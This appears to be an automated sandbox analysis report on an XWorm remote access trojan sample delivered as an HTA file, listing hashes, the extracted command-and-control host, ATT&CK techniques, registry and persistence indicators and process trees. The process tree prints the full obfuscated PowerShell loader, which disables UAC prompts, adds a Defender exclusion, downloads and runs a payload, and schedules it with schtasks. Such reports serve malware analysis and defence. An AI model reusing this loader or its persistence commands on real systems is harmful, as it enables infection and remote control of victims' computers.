xworm | 183a5a6477a06e439c82b04421d4424f7fc69694780cae4a87278d367753598a

General

Target

na.hta
Size

11KB
MD5

ea742132a205bf7b433598cb2a8fa3f5
SHA1

43a79f227c20901143be107f6922740acc54cf29
SHA256

183a5a6477a06e439c82b04421d4424f7fc69694780cae4a87278d367753598a
SHA512

3983d17c65890c9e5d52a2a486b97a7e3ffa3d5a9a81d25739ac33cfc0db9d68647d202d0c845183b4e6f019be398e6f3a339204e8f64e87a73327fb1d2553c4
SSDEEP

192:RxzslVZBh+kMufgTcPOGYhPE90KZEMx5DTmoRjtP/83anTnChFJkEFRhPSS:RWvMuYJOnTmoRtEKnTChISh6S

Score

10^/10

xworm discovery evasion execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

C2

needforrat.hopto.org:7000

Attributes

Install_directory
%AppData%
install_file
USB.exe

Signatures

Detect Xworm Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\new.exe	family_xworm
behavioral2/memory/1092-55-0x00000000008C0000-0x00000000008DA000-memory.dmp	family_xworm

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

21 844 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

844 powershell.exe
Downloads MZ/PE file

flow	pid	process
21	844	powershell.exe

pid	process
844	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mshta.exenew.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	new.exe

Drops startup file 2 IoCs

Processes:

new.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\new.lnk	new.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\new.lnk	new.exe

Executes dropped EXE 3 IoCs

Processes:

new.exenew.exenew.exe

pid process

1092 new.exe
4328 new.exe
1992 new.exe

pid	process
1092	new.exe
4328	new.exe
1992	new.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

new.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\new = "C:\\Users\\Admin\\AppData\\Roaming\\new.exe"	new.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

mshta.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

2900 schtasks.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exenew.exe

pid process

844 powershell.exe
844 powershell.exe
1092 new.exe

pid	process
2900	schtasks.exe

pid	process
844	powershell.exe
844	powershell.exe
1092	new.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exenew.exenew.exenew.exe

description	pid	process
Token: SeDebugPrivilege	844	powershell.exe
Token: SeDebugPrivilege	1092	new.exe
Token: SeDebugPrivilege	1092	new.exe
Token: SeDebugPrivilege	4328	new.exe
Token: SeDebugPrivilege	1992	new.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

new.exe

pid process

1092 new.exe

pid	process
1092	new.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

mshta.exepowershell.exenew.exe

description	pid	process	target process
PID 1556 wrote to memory of 844	1556	mshta.exe	powershell.exe
PID 1556 wrote to memory of 844	1556	mshta.exe	powershell.exe
PID 1556 wrote to memory of 844	1556	mshta.exe	powershell.exe
PID 844 wrote to memory of 1092	844	powershell.exe	new.exe
PID 844 wrote to memory of 1092	844	powershell.exe	new.exe
PID 1092 wrote to memory of 2900	1092	new.exe	schtasks.exe
PID 1092 wrote to memory of 2900	1092	new.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\na.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1556
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function mTxDUxaScYmr($LqgFFPWj, $lVgtUaSQwbRXQClp){[IO.File]::WriteAllBytes($LqgFFPWj, $lVgtUaSQwbRXQClp)};function zYuVqWK($LqgFFPWj){if($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43858,43866,43866))) -eq $True){rundll32.exe $LqgFFPWj }elseif($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43870,43873,43807))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $LqgFFPWj}elseif($LqgFFPWj.EndsWith((BuXuLXiijdTMRmDi @(43804,43867,43873,43863))) -eq $True){misexec /qn /i $LqgFFPWj}else{Start-Process $LqgFFPWj}};function ueJWAHPbJFrFhUAtPKf($zxfGsNthtwq){$TCvpArgzJufvl = New-Object (BuXuLXiijdTMRmDi @(43836,43859,43874,43804,43845,43859,43856,43825,43866,43863,43859,43868,43874));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$lVgtUaSQwbRXQClp = $TCvpArgzJufvl.DownloadData($zxfGsNthtwq);return $lVgtUaSQwbRXQClp};function BuXuLXiijdTMRmDi($GfcAO){$dZwGHElOYQ=43758;$IHZVeSlpJsUJNPA=$Null;foreach($kTBuzMksTQXtM in $GfcAO){$IHZVeSlpJsUJNPA+=[char]($kTBuzMksTQXtM-$dZwGHElOYQ)};return $IHZVeSlpJsUJNPA};function uqElSPqCUKRSUqTItU(){$MhGWljTYDYPGF = $env:AppData + '\';Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0;$FxRqYVoPEMaIQDGEmVIr=$env:AppData; Add-MpPreference -ExclusionPath $FxRqYVoPEMaIQDGEmVIr;$dalTxgqsQiNh = $MhGWljTYDYPGF + 'new.exe'; if (Test-Path -Path $dalTxgqsQiNh){zYuVqWK $dalTxgqsQiNh;}Else{ $ztEoJaUP = ueJWAHPbJFrFhUAtPKf (BuXuLXiijdTMRmDi @(43862,43874,43874,43870,43816,43805,43805,43808,43807,43806,43804,43811,43812,43804,43807,43809,43804,43807,43807,43810,43805,43868,43859,43877,43804,43859,43878,43859));mTxDUxaScYmr $dalTxgqsQiNh $ztEoJaUP;zYuVqWK $dalTxgqsQiNh;};;;;}uqElSPqCUKRSUqTItU;" uac
  2⤵
  - UAC bypass
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:844
- - C:\Users\Admin\AppData\Roaming\new.exe
    "C:\Users\Admin\AppData\Roaming\new.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1092
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "new" /tr "C:\Users\Admin\AppData\Roaming\new.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2900

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4328

C:\Users\Admin\AppData\Roaming\new.exe
C:\Users\Admin\AppData\Roaming\new.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\new.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_avzhdza3.2yn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\new.exe

Filesize
75KB

MD5
4c2a997fa2661fbfe14db1233b16364c

SHA1
e48025dbd61de286e13b25b144bf4da5da62761a

SHA256
c2a299f988158d07a573a21621b00b1577b7c232f91c1442ba30d272e4414c5d

SHA512
529a26f4769c7be0986e16d8e0bf37632b7b723a3e8d9fa8bb3f9cc4d766bd4d24a802d6aa43fe4df85c23cd680b0188c7e1eaff443a30203b298ba916aa0a57

Download Submit
memory/844-22-0x0000000007220000-0x00000000077C4000-memory.dmp

Filesize
5.6MB

Download
memory/844-24-0x0000000006EF0000-0x0000000006F22000-memory.dmp

Filesize
200KB

Download
memory/844-6-0x0000000005560000-0x00000000055C6000-memory.dmp

Filesize
408KB

Download
memory/844-5-0x00000000054F0000-0x0000000005556000-memory.dmp

Filesize
408KB

Download
memory/844-3-0x0000000004E50000-0x0000000005478000-memory.dmp

Filesize
6.2MB

Download
memory/844-16-0x00000000056D0000-0x0000000005A24000-memory.dmp

Filesize
3.3MB

Download
memory/844-17-0x0000000005B60000-0x0000000005B7E000-memory.dmp

Filesize
120KB

Download
memory/844-18-0x0000000005D30000-0x0000000005D7C000-memory.dmp

Filesize
304KB

Download
memory/844-19-0x0000000006BD0000-0x0000000006C66000-memory.dmp

Filesize
600KB

Download
memory/844-20-0x0000000006080000-0x000000000609A000-memory.dmp

Filesize
104KB

Download
memory/844-21-0x0000000006100000-0x0000000006122000-memory.dmp

Filesize
136KB

Download
memory/844-0-0x00007FFCE62B0000-0x00007FFCE64A5000-memory.dmp

Filesize
2.0MB

Download
memory/844-23-0x00007FFCE62B0000-0x00007FFCE64A5000-memory.dmp

Filesize
2.0MB

Download
memory/844-4-0x0000000004BC0000-0x0000000004BE2000-memory.dmp

Filesize
136KB

Download
memory/844-25-0x0000000072BF0000-0x0000000072C3C000-memory.dmp

Filesize
304KB

Download
memory/844-35-0x0000000006ED0000-0x0000000006EEE000-memory.dmp

Filesize
120KB

Download
memory/844-36-0x0000000006F30000-0x0000000006FD3000-memory.dmp

Filesize
652KB

Download
memory/844-37-0x0000000007E50000-0x00000000084CA000-memory.dmp

Filesize
6.5MB

Download
memory/844-38-0x00000000070B0000-0x00000000070BA000-memory.dmp

Filesize
40KB

Download
memory/844-39-0x0000000007200000-0x0000000007211000-memory.dmp

Filesize
68KB

Download
memory/844-40-0x0000000007800000-0x000000000780E000-memory.dmp

Filesize
56KB

Download
memory/844-41-0x0000000007810000-0x0000000007824000-memory.dmp

Filesize
80KB

Download
memory/844-42-0x0000000007860000-0x000000000787A000-memory.dmp

Filesize
104KB

Download
memory/844-43-0x0000000007850000-0x0000000007858000-memory.dmp

Filesize
32KB

Download
memory/844-1-0x0000000002260000-0x0000000002296000-memory.dmp

Filesize
216KB

Download
memory/844-2-0x00007FFCE62B0000-0x00007FFCE64A5000-memory.dmp

Filesize
2.0MB

Download
memory/844-58-0x00007FFCE62B0000-0x00007FFCE64A5000-memory.dmp

Filesize
2.0MB

Download
memory/1092-55-0x00000000008C0000-0x00000000008DA000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads